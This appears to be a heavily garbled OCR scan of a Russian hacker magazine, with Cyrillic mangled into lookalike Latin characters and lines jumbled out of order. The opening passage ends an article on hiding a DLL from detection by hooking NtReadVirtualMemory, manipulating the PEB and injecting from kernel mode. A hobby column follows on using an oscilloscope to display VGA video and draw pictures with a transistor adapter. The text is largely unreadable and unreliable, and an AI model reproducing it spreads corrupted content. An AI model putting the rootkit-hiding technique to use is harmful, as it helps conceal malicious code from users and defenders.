wecc OT nOnblTKl.1 H3C1H1 TaM CKPblTYto dU, c.o.eflaeM nepexB3T cjlYHKl(V1V1 NtReadVirtualMemory. 33TeM TOYHO TaK>Ke Ha~)J,eM cm1COK 3arpYA<€HHbIX 6v,6flV1oTeK, lt1CKf1IOYIIIM H3WY dll-Ky V1 803­

KeDetachProcess() ;

CESS

~CEC"~

~

::J

Sp3TY1M ynpa8,~eHL1e Bbl3B3sweMY KOP,Y. TaK, nyreM M3Hlt1nYJl\1­ Wlt1W c PEB' OM MO>KHO OCYlll,eCTBV1Tb 33ll1,V1T'j SHe.o.peHHoM dll OT

He 336YAb npOBepL1Tb, V1Meer IlV1 CeKWV1>1, Ky,Qa XOlleWb np0l-13­

YTeHV1I1. 06a npV1Mepa, peaflV130saHHblx H3 C, IIIll1,VI Ha p,V1CKe.

seCTV1 3anV1Cb, arrpl.16yr «write3ble», l-1H3ye nonblTKa 3anV1Cl.1

TexHV1Ka COKpbITL111 dll, KOTOpyto Mbl TOIlbKO 'HO paCCMOTpefll.1, He

~Sfl~eTC>l

YeM-TO npl'1HWL1nlllaflbHo HOBbIM, V1 Tbl flerKO CMO­

>KeWb C Hev, p3306p2TbCIl. Ho 3TO TOflbKO H3ljallO. Cfle,o,ylOllI,l1M

s non-write3ble yyaCTOK naM>lTL1 npV1Be,QeT K BSOO'y. TaKOBOv.

••

no YMOfl43HV1KJ $1BJl>leTOl ceKWl-1>l KO,l1.3, HO npo6fleM3 peWaeTC\1 IlerKO -

Hy)f(HOW ceKWV1W npoCTo npV1cB3WSaeTC>I anp1'16yr Afl>l

3TanOf.i 6Y,QeTTeXHV1K3 nO,QMeHbl caMoro PEB, KOr)J,a nyreM

3anItlCt.1.

FlKIo1X >KC M31-Il-1r'YIlIlWlt1~ B T3prCT-npowecc OCYlll,eCT8fl>leTC"

«TaK nOYE'MY V1Mel·IHO ringO, BC,o,b TOr:>Ke caMblM V1H>KeKT

nOAfpy3Ka cjleC1KOBOC1 dllsMeCTo K3KOV.-Hlt16YAb 33KOHonoc­

KO,Qa MO)f(HO ycnewHo C,QeIlaTb V1 B 103epMo,a,e?»,- MOA<eWb

nywHOVt user32.dll. Ho 06 3TOM 8 .D.Pyrow pa3.

ENTRY {

CnpOCYlTb rbl. OTKpOIO TawHy -

(

)

Ko,o,VlHr B HyfleBoM KOflbl.(e He

TaK CTpaweH, K;;ll( MO>K8T nOK333TbC>I Hil nepBbli1 B3rfll'l,Q V1,

f:l

I1H>KEKT KOAA

ATenepb -

0 caMOM l-1HrepecHOM. HaM Heo6xo,QIIIMO I.1C­

nOf1HV1Tb CBOW He 04eHbAo6ponopq)J,OYHbl~KO,a, B KOHTeKCTe XAKEP 05/125/ 09

BMeWIIISa>lCb B pa60Ty >l,Qpa CBOlt1MV1 pyKaMIII, Tbl H3<4HeWb LlY8CTBOBaTb ce6>l «nOBenV1TefleM M3IJJV1H»

WyrKa. ECIlL1 eCTb

BonpOCbl, nV1WV1, 06Cy,o,l.1M! X

~109


~~~~~~~~~~

>> pht""€'.aking

t:::J~t:::J~

~~

t:::J~

~~~

~~~~

~~~~~~~~~~~~~~~~~ ~~ ~~~~ ~~~ ~~~~~~~~~~~~~~~~~~~~~~ ~~~~ ~~~~ ----------~

BA1\W.t _DOCTOR V_M_CN»AAHbWl-lH

I YURIK_YUROK2fi1HAIL.RU I

1----------­

ocu,~nnOrPA<I>!!!

r

ne-epp~KepCK~

06y3AaVi ere

npillwen gOMOW Cy'-le6bl ill TyT Ha Te6e - C10pen nocnegHillw pa6o'-lillw MO­ HiIITOpl XOTen, 6blno, nOWTiII 3a HOBbIM, HO Ha gBope Kpill3i11C. ,L],eHer Hill epillra HeT. V1 TyT MOW B3rn51gynan Ha oCLJ,illnnorpaep. «He 6ega, - nOAyMan 5'1. Cew'-Iac co6epy MOHiIITOP ill 3 Toro, '-ITO eCTb nog pyKOW.

A 3aogHo Bblwgy no6egillTeneM ill 3 TpygHOW ciIITyaLJ,iIIiII».

• ., ~

1 f.

,UHeM 51 f'orOBopl-lJlC5I C ,o,py3bl'lMlII, 4TO Mbl yCTpOltlM se4epOM He6oflb

wo~ AOM<lWHlIIii TYpHlo1p

no Ouake3 Arena. Bpy6afO

sam-n AbIM! OK83blSaeTC$l, BceMy BI1HOVi -

KQMn,

6

a 1113 MOHvnopa

BOAa c nOTOflKa, KOTOpylO R

no 3anapKe He 38MenlI1. \11 ryt. KaK Ha3JlO, nplo1xOA~1T roCTI'1

Ie HOyr3Ml<l).

HeAOflfO AyMaR,l'I YC3AlIIJl lIIX 1II pa3A8Jl AocTyn BAOMaWHlII~ Wi-Fi. 3aTeM

12 n03HAI1 rEOPlil1O Cnpoclo1 ce6R. a 3Ha€ W b 11lt1 Tbl Bce q>yHKlJ,V1V1 li 803MO)KHOCTlt1 OCL\V111110r­ paepa lt1 lly4€ S 0i1 rpy6KI-1? ECJl 101 OTseT -

HltlTeJ1l1.

$I none3 no.Q CTOll. 8 nOJlYTbMe, QCBeLl..l31'l nyrb Mo6111flOVi. $I H3wefl ,o,aBHO

npe)KtJ,e Bcero, OClI,liIJlJlorpa¢ -

He Io1Cn0J1b30BaSWI1\;1cR OCUlllJ1Jlorpa<\l. 8bITaw,l-1J1 ero, npOTep OT nblIlllllll

OTJlIo14li1€M,

BKfl10411l1l B ceTb HI-HI -

pppa60TaeT!

V1 - 4epe3

6YKB81lbHO nOfl<.<aCa K06bIPI1­

rOTOB H06bll1 MOHI'nop_ B WOKe Tosa pV1Ll1\o1 CMOTpefll1 lia 3e11€Hbll1

3KpaH OCL\l-1flflOrpaepa, Ha KOTOpOM COBepweHHo TO'-lHO y3HaBa110(b MeHIO 11106li1MOIll ceTeeoili raMbl. Hy liI TyT >1, c06CTBeHHO, npe.o.110>KIII11 Ha'JI-1HaTb.

BocropxeH Hoe "Aa!}), TO MO>K€Wb

nponycTlo1Tb 3Tor pa3Jl,eJl lA noiliTlo1 p,onalo1BaTb JlI1YHOrD K~16opra-TeJlOXpa­

:no nC4Hl TO )l(e, 'lTO VlSOflbTM€ T P, (: TeM

'lTO OH YM€ e T pl1COBaTb 3Ha'-leHlAe HanpSl>KeHI1\; no speMeHVl. C

era nOM0UJ,bfO Tbl MO>KeWb nOCMoTpeTb He TonbKo, 4TO TSOYI TOK B p03eTK€ >Klt1S€T no clo1HycOlt1,O,aJl bHblM 3aKOHaM, flO lo1 pa3JlW·IHbl€ M8110'-111

nina Ha­

BOAOK, H1.13KQBonbTHbiX CI-1 rHanOB abICOKOV. <.<aCTOTbllt1 np. 3TO H€ 3 aM€ H III­ Mbli1 ,o,eBai'iic, KOTOpblM AOJ1>K€H

BJ1aAeTbJlI060i'ii, no TaK 11m., liIHay€

6yJl,€T

Io1MeTb ,lJ,€JlO C 3neKTpOHliIKOYl.

121i1111EM HY>KHbIE >KEllE3KIiI

Bo06Ll1e, OClJ,I1J1JlOrpaq>bl nOApa3Jl,eflR K)TCI1 Ha ABa SI-1Aa: aHanorOSble liI

nOHI-1Mafl, 4TO OCL.V11111Orpaep ~ 3TO He,QOA€JlaH HblC1 Ten€ B 1II30p .0,1111

L.\l>1¢pOBbie. Ho BHa4aJ1e Tbl coeceM He 3aM€ T VlWb pa3tH1L.\bl, lt1 re6e 6YA€ T

lA3Mepl1Te11bHbIX L\e11el1, 11 CTafl. nOKa '-lltlCTO TeOpeTV1'-leCKlA, nO,QrOHI1Tb ero

noeplt1ry, ... eM nOJlb30B,HbCSl. P2311lolyalOTCfl OHI1 pa3MepaMlt1. '-lyacTBl-1Tellb­

B03MO>KHOCH1 no,lJ, CSO\ll nOTpe6HOCH1. TaM >Ke, nOA CT0110M, MH€ nOna11(11

HOCTblO, epYHKL\lt10Ha110M, ll€ H aM 101. KaK npaBliIno, nepBblili OClI,lAJlJlorpa¢ 8

B nonYTbM€ IIIMnY11bcHbli1611oK nlATaHl-11111 Hen11oxolii reHepaTOp epYHKlJ,lAi1

>KV13HI1 311eKTpOHUJ,VlKa n0l10MleTCSl fll-160 npfiMliIKOM CO CaaJlKI1. nlil60 no

3aT€ M

>1 M8THyl"l1 B APyroi1 yroll KOMHaTbiinonyTHo XOPOW€ H bKO

HYSWItlCb Ha paCHI>KKaX 1-13 np080,lJ,oel -

HCisep­

K flLlll-1Ky C 6apaxnOM. OCTaSWl-1M­

CI1 or 6blnblX onblTOB Cy)J.OpO>KHO fl xSaTan HY)Kllble MHe ,O,eBai1cbI:

na­

BHyT­

C nJlaCTl1HaMIo1Lo1 cneu,VlaflbHblM CBeT>llll,WMCR nOKpblTliI€ .... Ha 3KpaHe-Lo1

Ka6enb, nOToMy

«T bl TaM

>KlABoili soo6w,e?». Meno'-J[.1, nOAYMaJl s:l. BpeMSl VlJl,eT. a BpeMR S ,o,aHHoi1 CltlryaLl,liIlA -

3TO caMoe ~€HHoe. nepeWarl>1BaR '-Jepe3 6YXTbi npOBO,lJ,OB,

11 CBo6oAH0i1 KOf.4€," f.40CTblO npIo1XBaY[.1Jl CBOYI JlI06101Mbliii TeCTep. KOTOpblM

i,1

OCLlillnnor­

c 0AHorO KOHlI,a VGA-Ka6eJlb, CTapylO BliIAeOKapTYAllfl npo6.

,o,OI-IOCl-1TbCI1 BonpOCbl Tlt1na «Ay Te6Sl TaM Bce B nopSl,o,Ke?)~ lt1

I

06 aHaJlorOBbiX

pw OCL.\liIllflOrpaepa eCTb Kl-1HeCKon -

4TO 8 cne,o,ylOw,yfO ceKyHJl,y BeCb XJlaM pyXHyJl MHe Ha rOJlOBy. CHliI3Y CTami

.,l

HaweM CerOJl,HS!WHeM liI3spaT2 pe"lb noi1,o,eT

paepax. a noToMy paccMoTpVlM npV1HL\Lo1nbll<1X pa60Tollt1 ynpaSfl€ H l<1R.

flllbHI-1K, q,moc, npl-1noi1, nlilHlI,eT, nnaTy OT ropenoro MOHliITopa, y6111Tbll1

nO)Kanyili, 113P~ TaK pe3KO Sbl,lJ,epHyll C eepxHei1 nOJ1KliI Wl-1$aH€ p a,

'I

cnLo1caHlIIlO 1-13 KaKorO-H 1<16y,o,b Sy33.

8

3a,lJ,YMan np03BOHlo1Tb Hatil,lJ,eHHblili Ka6eJlb Ha pa60Tocnoco6HOCTb.

B rpy­

TaKaq AJllilHHa>l CT€ K fl"HHal1 Tpy6Ka

3Jl€KTpOHlt1Ka, ynpaBnl1lOll\a? pa3BepTKaMI1, nepeKll104eHliIeM pe>KI-1MOB pa60Tbll<1 np. Ho HJ4H€ M

Mbi C .nl<1L\€soYi naHenbKLo1: Ha Heill 06f13aTenbHo

eerb rHe3)J.a nO.QKllfO'1eHI-1>llllyna l1flV1 cneu,vallbHoro n poeoAa C )J.SYMSl 3a>K>1MaMl-1, KOTOpblM Tbl cy,D,0P0)f{HO TblKaeWb no nJlaTe, Aa6bl 3aMeplilTb III BbiSeCTI-1 Ha 3KpaH npOTeKafOUJ,Lo1e no cxeMe Hanp>l>KeHliISl, 3TI<1 .'1·le3,D,a H83blBalOT «Ka HaJlaMliI". 06bl4HO 1<1 X MapKLo1pYIOT Ha coaeTCKliIX ocu,iIIJlJlor­ pa¢ax KaK «KaHan

A»,

«KaHaJl

5>l,

l-1fl>1 >Ke

lola IIIMnopTH blX

KaK «CH1 »,

«C H2».

[NVIDIA mx4001. HIo1Kor,o,a 6bl OH He 3aSJlaA€ J l

... eM I-1X 6onbwe. TeMy,o,o6Hee OClJ,V1Jlb B 3KcnflyaTaqlill1, HO MHe Jll-1'"f.40

MOI1M BHIo1MaHV1eM, eCfl[.1 6bl

KaHanoB y OCll,Lo1J1JlOrpa¢a MO)l(eT 6blTb OT

1AO 5.

-

,o,e Mycopa HaWeJlCfI pacne4aTaHHbli1 ,o,aTaWlt1T Ha .o.peBHlOfO BV1,o,eoKapry

Cy V1TaeTCI1, "'TO,

He Aparo~eHHaR pacnl-1HOBKB VGA-rH€ 3 Jl,a. n\o1CT 6yMar>1 >1 10130neHTa, cn<J­

scer,o,B xBaTaJlO 2-KaHaJlbHoro. ECT!:> TaK::Ke rHe3Jl,a CiIIHXpOHI'l3all,Lo1i11,

CaK)w,aSl Ml>1p. 6b1Jll>1 y>K.e Ha CTOJ1e. npVlwna nopa c06paTbCSl C MbICJlRMVl.

BbIXOJl,8. 8xo,o,a 1-1 3eMJlI1, HO

~

110

a

HlAX 6y,.:l,eT no.o,po6Hee paccKa3aHo tllA)K€ .

XAKEP 05 1125/ 09


-

i!!

>~ "phr~}tkiI"J9. i!!

BBEPXYY MEHR CTO~T rEHEPATOP<llYHKLl~~. HY A BH~3Y PA3MECTI111CR rEPoi:! AHR - MOi:! OCLlI111b ~3-nOA crOllA

vu

-3 -2 -,

o ./

_

ntlt

vu

vu

,

_

...... J

..........

~"".

B~3YAll~3ALl~R

f\A't't.

nllEEPAAIMP B op~r~HAllE ~ HA

3KPAHEOCLl~IlIlOrPA<llA

Tenepb norOBOpltlM 0 pe)l(l-1 Mil X pa60Tbi OCl..\l-1JlJlOrpaepa - l>1X MHoro. HO Bbl.QeJH1M HeCKOllbKO OCHOBHblX. KOTOpble Mbl cerop,Hs:l5yp,eM l-1CnOJlb30­

BaTb l.1 KOM6l1HVlPOBilTb Me)l(,uy c06011_ CHa4illlil nOrOBopl'lM 0 HOpMilllb­

HOM pe>I01Me pa60Tbl :noro arperaTil - pe)t(liIMe np\1MOrO oT06pa)l(eH V1>'l nOJJ,asaeMoro 8 KaHan Cl'lrHilfla. EClllil Tbi CV1rHilJ1 He nOAaeWb, TO Ha 3Kpa He MO)l(I-IO Ha6JlKJ,Il,ilTb pOBHylO JH.1Hl'lIO. Ho OOIo1T le6e nO.D.aTb TOK

OT naJlb'-H1KoBoi:16aTapeHKl-1. npS1Milfl nOAHl'lMeTC~ 13blWe V1JHIl HII1)Ke, B 3ilSl<1C\-1MOCHl OTTOrD, KilKl-1Ml-1 KOHTilKTilMl-1 Tbl nOj:\KJlI04l-111 OCI..l\o1J1b K

5aTape(;;Ke. ECJllt1 Tbi Hlt1'-lero He 3aMeB111 Ha 3KpaHe, 3Hil4l-1T, 411Ta(;; npo KPYH1I1KY«SOJlbTil)l(». 3Til He6oJ1bWas:l pylJKil YCTaHaSfll<1SaeT, KaKOe Ha­

np5DKeHI'le COOTseTCTsyer OAHOi:! KJ1erOYKe Ha 3l<paHe. ECfll<1 yCTaHoBVlwb ee B nOflo::+<e!H1e lV, TO npl1 BblCOTe 3KpaHa 8

10 KJ1erOK,

CMo::+<eWb 81-1,[1eTb

Hanp,DKeHIIl51 OT -5,[\0 + 5 BOllbT. ECJ1I'1Tbllte 81-1Jl,I-1Wb Bo06w.e HI-1KBKlI\X

llll\Hlt1~, BnOllHe 803""10::+<f-10. OHlI\ YXO,[l>lT 3a rpaHlI\lJ,bl 3KpaHa. 3TO Te6e

XAKEP 0511251 09

~

111


>> pht'"€'-3king ~~~~~~~~~~~~~~

I ~,

-'\r

Ill,

-'\r

nJ1AHbl

pacnopS:;)KeHIIlIll AOJ1>KHbl 6blTb reHepaTOp ¢YHKlJ,IIl~ JIl il1060171 OClJ,Io1J1J10rpa¢l. KOTOpblCi I1Men 6b1 CIo1HXpOBXO,D, lt1

Z-SXOjJ,.

TaK>Ke HeJH1WHlo1M 6y.o.eT K3KOA-HIo16YjJ,b KOMn, B KOTOpOM 5bl crO>l.na HeHy>KHSflIHa 8C>lKIIlCi cnyyalit! Bl.1jJ,eDKspTa, Kor,Q3

~~~~~~~~~~~~~~

Sl L-13J108YIo1IlCs:l.aenaTb 3T01 ¢V1HT C OClJ,l.o1fl110rpa4>oM, 51 y*8, CDeceM He 6C>lCb. nOjJ,KJl1Oyail ero K f-!oyT6yKy TOBapl-llll.a -

TaK, A1151 nplllKofl3. Ho nepBoe SpeM51 fly"we, Bce )Ke, He

p\ltCKOsaTb. V1T3K, Bbl)(OA reHepaTOpc ¢>YHKlJ,L-1C1 nO,l\KJl1O'-la~ Ol.leHb

CKOpO aT npOCTblxTpex6yKseH­

HblX Ha,Qnlo1ce~ lbl nepe~AeWb K 6011ee

;1

'!

)I{IIIBOnlo1CHbIM CIO>KeTaM.

OAHy TaKylO

3BYKOBO~ ¢la Liin , KOTOpbl" MO>KHO npo­

HS eXOAHOYl KaHSil OClJ,L-1FlJlOrpa4>a. nplirOTOSb Ka6eIlb OT

Io1rpaTb Ha ocu,l-1nJ1orpaepe. A BAaHHb,Lii

Z-Bxo.o.a OClJ,l1nnorpacpa ~ BOTKHI1 ero l.1 SbleeAIIl KPOKOAIt1J1bl

MOMeHTfl BaSIiO

Mathcad-CKpl-1m,

K ce6e nOOJ1l11>Ke.

06pa3ll,OaylO Kapn1HKY Sl BblllO)l(Y Ha

KOTopbli16YAeT VlMItlTlilpOaaTb I1rpy B

.QOCTaBal::i CSMylO Hy>KHylO AeTSflb -

Alo1CK -

HacTonbHblVi reHHI1C. Y>K He 3HalO no­

nOjJ,KJl1OYIIl11 era K: 9-B0J1bT080MY 6J10Ky n IIlTaHIIl51, KOTOpblCi

Aenai1 C Hei1, "lTO X04eWb.

noclle 8blnOllHeHIHl TaM CKplo1ma

nplo1seAeHHoro

yre6fl AOJ1>KeH

C03AaTbCfl

TpaH3I1lCTOp. fl6b1CTpO

4eMy, HO MaTKaA R nOlllo6\1lJ16011bWe,

soTKHyJ1 S p03eTKY. B n plllHU!I1ne. Tbl C nerKOCTbfO MoxeWb

l.leM mnOH.

I1CnOllb30eaTb l.1 KOMf1bfCTepHbli1 6110K nl-lTaHIo1I'l, HO M He 6blJlO He AO 3TOro. Ka>K.o.a" ceKyHAa 5bl11a Ha ('-lelY. Tenepb nO,QKJlIO'-l1ll M TpaH3l.1CTop . .Qml 3Toro 3a paHee coserylO npVl­

€)

, dvd Ha

.D,It1CKe re6R

He 3a6oTlH1BblLii BI'lH.D,OyC, KOTOpbli1 OCT8HaSJll-1BaeT MblWKy

rOTOSl.1Tb YTO-TO Tl.o1na wnapra11KIo1. HS KOTOpOL:! KapaH,a,aWOM

Ha rpaH\.1ue 3KpaHCI -

HaKap516aHbl 6yKOBKIIl «K», «6», «3» -

3AeCb, HanpOTl.-lB, Bce CYPOIJO, KaK III

5a3b11013Ml.1TIepa, COOTBeTCTseHHO. Ha 3MIIlTIep 51 no.o.secllln

6YAb BbICOKOyaCTOTl-lblL:! TOK, HanplllMep, TO, 4TO Tbl ceL:!48c

L\eHTpsl1bHblL:! npOBOjJ, OT

cnywaewb -

KOJlFleKTopy nOjJ,KJ1104l>1il3eMmo, Hya caM Cl.1rHall C Io1HTepe­

CMeno nOAPy6aL:! CBOi1 nneep K oClJ,lt1nnorpa¢>y!

ECJllt1 Tbl nOKpYTIIlWb PY4KY «epeMs:! Aen\time div», TO Mo",eWb

>KAeT

CQ4HbiLii $OTO- 101 81'1­

MaCWTa6\.1pOBaTb \.1306ps*eHiIle no OClt1

X.

AJl~ pa60Tbi C Cl.1rHallaMIIl pa3J1l.1YHbIX 48CTOT. ECTb TaK>+<e 38Me4aTeJ1bHblL71 pe)K\I1M CI1HXpOHIo138lJ,lt1Io1. TO eCTb

nYHKTy. TaK>Ke iIIlll,101

«no KOMaHAe». 3p,eCb sce npoCTo. ECfllll Tbl HS (l.-lHXPOBXoA

lJaCTbMaTep...,zna,

OCUIo11lJIOrpa¢a no,o,awb cTyneH4aTblL71 CloIrHafl, TO OClJ,V1J1110­

He Bowe,QwylO B CTa­

rpaq, Ha4HeT npopVlCOBblsaTb c03A8saeMyKJ \.1M no yMOil­

TblO

no TeXHVl4eCKI-1M

npl-1'-1V1HaM

,-<aHVlKJ npSlMylO -

CHOBa III CHOSa npl.-l KS)K)l,OM nOilyyeHl.1111

TaKoro CiIlrHS11a. AHa110rliYHO 3TO pa60TaeT H8 reHepaTope q,YHKlJ,lIli'l: Meranone3Hble rHe3As n03B011>11OT AenClTbTaKl.1e KpyTble WTyKlIl, KaK OTCne>KIIlSaHlie Cl-1rHaila, BblAeJ1eHlo1e onpeAe11eHHblX 48crei1 Clo1rHaJ10B 101 Ul.1<pPOBoe ynp3Bn€ H l.-le pa3BepTKaMIo1. Hy III nOCilejJ,Hl.1L:!, peAKO \.1CnOnb3yeMbllit pe>KIo1M pa3sepTKIIl no

XY

:;no pe>+<l.1M

Ecnlo1 yTe6Sl OClJ,IIlJ1norpaq, 2-KaHanbHbl~,

TO, CKopee Bcero, Tbi flSMleWbCSl C4SCTJllll BblM o6nsAaTe11eM 3Toro pe::tCIo1MS, TYT OClJ,l.1FUlOrpa¢> l.1cnonb3yeT ABa KaHa11a l.1 no YMOnyaHlIl1O oT06pa>K3eT Ha 3KpSHe He np51MyKJ, S T04KY. Kcr3TVr, cTapaL:!C51 He CBeTV1Tb C11VrWKOM 5lpKJIlM ilVLlOM B O,a,HY TO'tKY -

z· BXOA3 OCLJ;l.111flCrpa4>a III +9V K

cy1Olll.ero MeHIi 3ene~loro npOBo,Q3 51 nO,QSl1 Ha 6a3Y. HeMHoro

3TO He06xOAIIlMO

,Q€OapXiIIB no Ka>KAoMy TaM

,Qfl>l KOflJ1eKTOpa,

AomKHo 6blTb. ATenepb nonp06yeM nOMepl.-lTb KaKoL:!-Hl.-l­

nOToMy4TO CilO~ C 06paTHoL:! CTOpOHbl Kl.1HeCKOna

«ECJ1H Tbl HACHHXPOBXOA nOAAWbCTYnEH4ATbl~

CHrHAJl, TO OC'-'HJlJl0rPA<!J HA4HET npOPHCOBblBATb C03AABAEMYH) HM no YMOJl4AHHH) n PSIMYH) ­ CHOBA HCHOBA, nPH KA>K­ AOM n0J1Y4EHHH TAKoro CHrHAJ1A».

MO>KeT 06ropeTb . .QonyCTVlM, eCllV1 Tbl nO,Qawb I-Ia «KaHall A» Hanpl'l;:;ceHlt1€ 8

3 SOllbTS. TO llY4\.1K ,o,OJl>KeH

CMeCTlt1TbCl'I

enpaBO. a eCillt1 Tbi nOjJ,aWb Te)l(e 3 BonbTa H3 STOpOYl KaHan, TO nyYliK nOjJ,HIo1MeTC>l ssepx HB

3 S011bTa.

ECillll Tbl 6y,a,ewb

nOKpyTItlB PYYKVl Ha OCLJ;l.1f1fIOrpa¢e, R ,D,onep, 4TO TpaH3V1CTOp OTKpblT, a, C11e,a,OBaTe11bHO, -

Ha 3KpaHe Mbl nOCTOI'lHHO

eIo1Al.-lM 3elleHbli:1 Kss,o,paT 6e3 TeMi-ibiX 06ilSCTe~_ MHe 3TO He

no.o.asaTb CIo1HYCOl.1Aolll,a,aJlbHble TOKVl Ha 06a KaH3Jla, TO nOflY'1lt1Wb TaK Ha3b1BaeMble ({eplilrypbl Jl\J1cca;:;cy».,. BnpoYeM,

nOHpa8l>1110Cb. ltl Ii peWiIlJ1 XOTb KaK-TO CHlo13liTb TOK ynp3s11e­

o HliX Tbllll caM MO)KeWb np04eCTb Ha CTpaH\J1lJ,ax BI'tKVlnejJ,VrIll,

HI1I<

n03TOMY nplllcTynl.1M K onblTaM.

cnyerl< MrHoeeHbe C XPyCTOM BblilOMal1 nepeoe nOnaBWeeC>l

51

nOCMOTpeil Ha cropeBwylO nJ1aryoT MOH>1TOp2, OTKy,a,a

conpOTVlBil€ H l.1e.

f:l

CAEJlAEM 3TO nO-6bICTPOMY

CeL:!Ljac Mbi paCCMOTpl.1M H311l6oilee npocTy1O peailIll3al.l,l.1fC 3aAYMaHHoro -

l.1MeHHO TO, 4TO 51 V1 c,a,eJ1SJle TOT seyep.

$1

B351J1 pa3Aon6aHHblYI VGA-Ka6enb III {(nOYIIl H>1fl» ero KycaY­ KaMIo1. OTKyweHHblCl p33beM C np0lll.ailbHbIM 360HOM yJ1eTeil B MYCOPHYIO KOP3liHY_

lib

KaK TOllbKO 3TOT nOCJ1e.o.Hl.-lY1 3JleMeHT 6blJ1

HaVlAeH. Ha OCUIllJ1flOrpa4>e 518HO Ha'1anO BbIAaSaTbC>'!4TO-TO

KapMaHs l'I Aonail TpafOlllCTOp. Aa)Ke

nOXO)Kee Ha TeMHble 06flSCTl.1. Bnp04€ M ,

Tbllll TeMHblX 06­

ll3cTelit He Y8lo1AIIlWb, npOCTO xapaKTepHble 6eryl.l.llll€ 1l0MeXlII. ECJ1L-1l.1X (OnOCTaBIo1Tb B CT0J1511l K, TO nOJlYYl.1TCI'l KapTIIlH K3. npOCTO, He npaoAa 11111? .QBe ,QeTafl ill , HeMHoro npoBoAoB V1 Bce rOTOSO.

He yTpy;:;c.aaSl ceOSl4TeHI'1eM MapK\J1pOBKJIl,51 Ha4an6blCTpo

8nepe,Q, CKa>Ky, 4TO HaM a6comOTHO noepl.1ry, KaKOYl TpaH3VlC­

ynpOCnlM TEXHOJlOn1l0 AO 5E305PA31MI

Tap 6paTb. Ha jJ,ltlCKe Tbi HalitAewb cxeMbl no,a,KmOyelll.1l'1 Anl'l

,l],onycTl.1M, Tbl He Io1MeeWb Hill B03MO)l(HOCTl.1, 1-'l.1 >Ke,laHL-11i

np036aH lIleaTb ero. 4T06bl y3HaTb, r.o.Q KaKoL:! SbleojJ,_ 3a6era51

J

t ~

f

112

f:l

111060ro XilaMa, KOTOpblL:! Mor 33BSJll'lTbCl1 y Te5>l B 5l111.liKe.

nalHb BI'1,QeOKapry, a BOT CAenSTb csoe MaJleHbKOe YYAO Te6e

.Qa:+::e noneSble TpaH311lCTOpbl -1.01 Te sspl.1aHT !He rOBop>l y)l(e

XOyeTC>'!. OK, -

He aonpoc, '-llllTaL:! jJ,2flbWe, Te6e nOTpe6yeTc~

o 611l0n0J1SlpHblX, pnp III npn Tlinos!. Tenepb WYCTPO no.o.­

3.5 MM pa3beM,

K2K y 06blYHblX HaywHI1KOB, lil KaKOM ~Hl.16YAb

rOT08l1lM annaparypYAMI OnbiTOB. HanOMHIO, '-ITO B HaweM

mp3-nneep. YMelOl1.\ltl~ np0l.1rpbleaTb wav-epa (1!lbl. Ha jJ,I1CKe

XAKEP 05/1251 09


,

>> pht-",aking

nO/lE EiOH

3E/lEHbIH Cl1rHA/l. npOWEAWI1H 'lEPE3 nO/lEBI1K - HE CPA3Y AO MEHHAOW/lO. 'lTO OH BCE BPEMH Eibl/l3AKPbIT

np03BOHI1B TPAH3I1CTOP. 51 npOCTABI1/l6YKOBKI1 «K», «6», «3»

PEMOHTI1PYEM HAW MErAKA6E/lb

eCTb np06l-ibl~ C6pa3ell, - eCJH1 npOltlrpaTb era Ha OCll,liIJlJlorpa$e. TO

'-ITO reMa, Tlo1na, HeaKrya/lbHa -

01' nOKa)i(eT t-<e6oJl!:>woe rpexMepHoe AeMo-woy c <pltlrypaMill nlllcca>KY

C'-IV1Taii, 4TO Tenepb Tbi B COCTOflHV1L.1 pa60TaTb

Te6e J1Y1Wb ncTpe6yeTC>lJanlllCaTb 38YK B Mn3. 80TKHYTb B pa306paHHbiVi

KOJlaMIo1, a 3Ha4L.1T, Tbl cnell

WTeKep 1Il Ulynat..m np\1coe,!],\-1HIHbC\1 K Macce

Tbl n03HaJl Clo1/lY Blo1AeO~Cl'lrHa/la

BKJl lO'-IeHHbli1 8 pe>Kltl M pa3SepTKl-1

\11

KaHaflaM HayUJHlIIKOB.

XY OCll,Io1J1J10rpa4J TOPolac

Ha'-lHeT

Pl.1CO­

BaTb .oV18HOVi KpaCOTbl Kapn1HKV1, KOTcpble 0,D,H03Ha4fIQ np\>l6J1lil3\1T laOera npenO,lJ,a no ¢\.13l11 K€ IM1Vl 3JleKTpOTeXHV1 Ke K nOCeLl\eHIo1IO nClAXI'IClrpa. 3Toro 8V1,1J,eO le6e, KOHeYHO, ,QOJl>KHO XBaTlt1Tb Ha,lJ,OJlrO, HO caM BI"OJlH€

3Hai1.

'-lTO Tbllt1

MO>KeWb OCV1m1Tb pI1COB8HV1€ HCl OClJ"It1111l0rpa4>e. ,Q1l>l3TOro

nOTpe6yKHc>I V1 HTepnperarop

nV1TOH8

VI nporpsMM3 Blender. nOCJ1€ ycra­

eC/llo1 yTe6fl nO/lYYl-1/lV1Cb Bce .o.esai1cbl,

co CJlO>KHblMIo1

BIo1,D,eOnpCTO­

V1 B COCTOI'IHI-1Io1 o50iimcb npocToii

MIo1KpocxeMolil AJlI'I ynpaBJlel~l-11'1 60/lbWL.1M

>KK- Al-1cn/leeM.

~

6011ee 4eM

yBepeH, '-ITO KaCCOBble annapaTbI, TepMV1Hallbl onllaTl:>! COTosoLii CfHI3l-11-1

6aHKOMaTbl >Kl<1Tb AOJl>KHbl Ha no.o06HbiX aAanrepax. VIM so06UJ,e He Hy)KHa

TaKal'l Kpyral'l rpaeplo1Ka.

Kor.oa fl6po.ol<1Jl no CeTV1, TO Hawe11 OAIo1H 3aHIo1M3Te11bHbllii caViT, Ha KOTO­

pOM 6blJllo1 nOKa3aHbl HeKOTopble y>Ke raTOSbie cxeMbllo1 peWeHlo1l'1, n03S0­

HOBKYl nporpaMMbl c03.o.aliisepTeKcHoe v1306pa>KeHVle V1 TOYKaMVl pV1eyii,

flfllOUJ,ltle pltlCOBaTb Ha OCU/flJlJlorpaq,e Bce, "'ITO .oywe yroAHO. On.Wp030K,

KaK TbI XOTer, 6bl 33CT3SVlTb 6eraTb nYYl-1K oCl.\l-1nnorpa¢a

3aHlo1MalOUJ,I'ILlic>l peCT3Spl'lpOS3Hl'leM CTapl'IHHblX paAlilonpl'leMHI'IKOB,

a Ka4eCTBe YBfle4eHl-1fl AeflaeT pa3flVl4Hbie ycrpoVicTsa, n03BOJlfllOUJ,l-1e

f:l

AIf1ArH03AJUI Bbl>KIf1BWIf1X

ynpa B11flTb KltlHeCKonOM. Ha ero caLiiTe fl Hawen flK06bl pa60TalOUJ,lile

np04l-1TaB ?JTY CT<JTbK), Tbl Y)f(e ceVi4ac MO)f(eWb 83\Hb ceo~ ipod vtJlI'I

